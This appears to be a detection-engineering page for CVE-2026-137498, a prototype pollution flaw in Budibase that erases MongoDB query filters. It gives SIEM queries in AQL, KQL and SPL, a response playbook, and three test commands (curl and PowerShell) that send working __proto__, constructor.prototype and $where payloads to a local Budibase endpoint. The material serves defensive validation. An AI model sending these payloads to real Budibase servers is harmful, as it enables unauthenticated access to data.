Skip to content
CVE-2026-137498 IBM QRadar · QRadar

Detect Budibase MongoDB Query Filter Erasure via Prototype Pollution (CVE-2026-137498) in IBM QRadar

Detects exploitation attempts against CVE-2026-137498, a CVSS 9.9 prototype pollution vulnerability (CWE-943) in Budibase Server from 3.39.18 before 4.0.0. Unauthenticated attackers can inject prototype-polluting keys (e.g. __proto__, constructor, prototype) into datasource query payloads so that MongoDB query filter objects are erased, causing filter bypass and unauthorized data access. This detection looks for HTTP requests to Budibase datasource/query API endpoints whose bodies contain prototype-polluting keys combined with MongoDB operator syntax.

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation

QRadar Detection Query

IBM QRadar (QRadar)
sql
-- df00tech DF00-64b98becae · https://df00tech.com/detections/CVE-2026-137498 · licence: https://df00tech.com/detections/licence
SELECT sourceip, url, "httpMethod", payload FROM events
WHERE (url ILIKE '%/api/queries%' OR url ILIKE '%/api/datasources%' OR url ILIKE '%/api/tables%')
AND (payload ILIKE '%__proto__%' OR payload ILIKE '%"constructor"%' OR payload ILIKE '%"prototype"%')
AND (payload ILIKE '%$where%' OR payload ILIKE '%$ne%' OR payload ILIKE '%filter%' OR payload ILIKE '%mongodb%')
LAST 24 HOURS
critical severity medium confidence

AQL query surfacing Budibase query endpoint requests with prototype-pollution and MongoDB operator indicators.

Data Sources

Web Server LogsProxyWAF

Required Tables

events

False Positives & Tuning

  • Budibase administrators building MongoDB queries with reserved-word field names.
  • Scheduled DAST scans of the Budibase application.
  • Content inspection appliances normalizing JSON payloads.

Other platforms for CVE-2026-137498


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Prototype pollution via __proto__ in Budibase query body

    Expected signal: Web/proxy log entry for POST /api/queries/preview with request body containing __proto__ and filter keys.

  2. Test 2 Constructor-based prototype pollution against datasource endpoint

    Expected signal: HTTP POST to /api/datasources with body containing constructor and prototype keys.

  3. Test 3 Prototype pollution with MongoDB $where operator

    Expected signal: Web server log entry for the POST request containing __proto__ and $where tokens.


Response Playbook

Triage

  1. Confirm the Budibase Server version is in the affected range (from 3.39.18 before 4.0.0) and that MongoDB datasources are configured.
  2. Inspect the captured request body for prototype-polluting keys (__proto__, constructor, prototype) and determine whether the request was unauthenticated.
  3. Correlate the source IP against known admin/builder users and expected automation; flag any external or anonymous origin.
  4. Review whether the targeted datasource query returned an abnormally large or unfiltered result set, indicating a successful filter erasure.

Containment

  1. Block the offending source IP(s) at the WAF/firewall and rate-limit the Budibase query API endpoints.
  2. Upgrade Budibase Server to 4.0.0 or later; if immediate upgrade is not possible, restrict network access to the Budibase instance to trusted IPs and place it behind an authenticated reverse proxy.

Evidence Collection

  1. Preserve raw web/proxy logs and full HTTP request bodies for the suspicious requests, including timestamps and source IPs.
  2. Export MongoDB server logs and Budibase application logs around the event window to assess which queries executed and what data was returned.

Escalation Criteria

  • !Escalate to incident response if a prototype-pollution request returned sensitive records or if the application process shows signs of altered Object.prototype behavior.
  • !Escalate if the source is external/unauthenticated and the Budibase instance exposes production datasources, indicating a probable data breach.

Investigation Guide

Forensic Artifacts

  • >Web/proxy access logs containing request bodies with prototype-polluting keys.
  • >Budibase application logs recording datasource query execution and anomalous result volumes.
  • >MongoDB query profiler/server logs showing queries executed with empty or altered filter objects.

Tuning Guidance

Baseline legitimate Budibase builder/admin IPs and exclude their datasource authoring traffic. If your Budibase deployment does not use MongoDB datasources, tighten the rule to alert on any prototype-polluting key in query bodies. Lower confidence if request bodies are not captured and only URI/query strings are available; raise severity disposition if the source IP is external and unauthenticated.


Hunting Queries

Surface all Budibase datasource/query requests referencing prototype-pollution keys regardless of MongoDB operator presence, to catch reconnaissance and variant payloads.

Hunting — KQL
kql
// df00tech DF00-64b98becae · https://df00tech.com/detections/CVE-2026-137498 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("/api/queries","/api/datasources") | where csUriQuery has_any ("__proto__","constructor","prototype") | project TimeGenerated, cIP, csUriStem, csUriQuery
Hunting — SPL
spl
``` df00tech DF00-64b98becae · https://df00tech.com/detections/CVE-2026-137498 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/api/queries*" OR uri_path="*/api/datasources*") | search uri_query="*__proto__*" OR uri_query="*constructor*" OR uri_query="*prototype*" | table _time src_ip uri_path uri_query

Atomic Red Team Tests

Test 1 Prototype pollution via __proto__ in Budibase query body
linux

Sends an unauthenticated POST to the Budibase query endpoint with a __proto__ key designed to erase the MongoDB filter object.

Command

bash
curl -s -X POST http://localhost:10000/api/queries/preview -H 'Content-Type: application/json' -d '{"fields":{"json":"{\"filter\":{},\"__proto__\":{\"filter\":null}}"},"datasourceId":"test"}'

Cleanup

bash
echo 'No persistent changes; restart Budibase/node process to clear polluted prototype if needed: docker restart budibase-apps'

Expected Telemetry

Web/proxy log entry for POST /api/queries/preview with request body containing __proto__ and filter keys.

Expected Detection

KQL/SPL rules match on prototype-pollution key plus MongoDB filter operator in the request body.

Test 2 Constructor-based prototype pollution against datasource endpoint
linux

Uses the constructor.prototype chain to inject a polluting property through the Budibase datasource API.

Command

bash
curl -s -X POST http://localhost:10000/api/datasources -H 'Content-Type: application/json' -d '{"name":"t","config":{"constructor":{"prototype":{"filter":null}}},"source":"MONGODB"}'

Cleanup

bash
echo 'Delete the test datasource via the Budibase UI/API and restart the apps service: docker restart budibase-apps'

Expected Telemetry

HTTP POST to /api/datasources with body containing constructor and prototype keys.

Expected Detection

Detection rules match on constructor/prototype keys combined with MongoDB source indicators.

Test 3 Prototype pollution with MongoDB $where operator
windows

Combines a prototype-pollution key with a MongoDB $where operator to demonstrate filter bypass in a query payload.

Command

powershell
powershell -Command "Invoke-RestMethod -Method Post -Uri 'http://localhost:10000/api/queries/preview' -ContentType 'application/json' -Body '{\"fields\":{\"json\":\"{\\\"__proto__\\\":{\\\"filter\\\":null},\\\"$where\\\":\\\"1==1\\\"}\"}}'"

Cleanup

powershell
powershell -Command "Write-Output 'Restart Budibase service to clear any polluted prototype state'"

Expected Telemetry

Web server log entry for the POST request containing __proto__ and $where tokens.

Expected Detection

All SIEM rules match on prototype-pollution key plus $where MongoDB operator.

Related Detections